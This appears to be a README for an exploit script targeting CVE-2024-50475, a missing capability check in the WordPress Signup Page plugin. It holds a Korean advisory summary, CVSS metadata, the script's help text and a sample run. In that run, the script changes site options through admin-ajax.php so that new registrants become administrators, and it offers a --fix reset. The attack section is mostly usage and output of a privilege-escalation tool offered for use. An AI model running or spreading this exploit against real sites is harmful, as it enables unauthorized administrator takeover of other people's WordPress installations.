randomrobbiebf/cve-2024-50475Signup Page <= 1.0 - 인증되지 않은 임의 옵션 업데이트
Signup Page <= 1.0 - 인증되지 않은 임의 옵션 업데이트
WordPress용 Signup Page 플러그인은 1.0 버전을 포함한 모든 버전에서 기능 검사 누락으로 인해 권한 상승으로 이어질 수 있는 데이터의 무단 수정에 취약합니다. 이를 통해 인증되지 않은 공격자가 WordPress 사이트에서 임의의 옵션을 업데이트할 수 있습니다. 이는 등록 기본 역할을 관리자로 업데이트하고 사용자 등록을 활성화하는 데 악용되어 공격자가 취약한 사이트에 대한 관리자 사용자 액세스 권한을 얻을 수 있습니다.
Published: 2024-10-25 00:00:00
CVE: CVE-2024-50475
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: signup-page
$ python3 CVE-2024-50475.py -h
usage: CVE-2024-50475.py [-h] -u URL [-f FIX]
CVE-2024-50475 | Signup Page <= 1.0 - Unauthenticated Arbitrary Options Update The Signup Page plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check in
all versions up to, and including, 1.0. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user
registration for attackers to gain administrative user access to a vulnerable site.
options:
-h, --help show this help message and exit
-u URL, --url URL Website URL
-f FIX, --fix FIX Reset after Exploit
$ python3 CVE-2024-50475.py -u http://kubernetes.docker.internal
Vulnerability check: http://kubernetes.docker.internal
Option set successfully: http://kubernetes.docker.internal/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.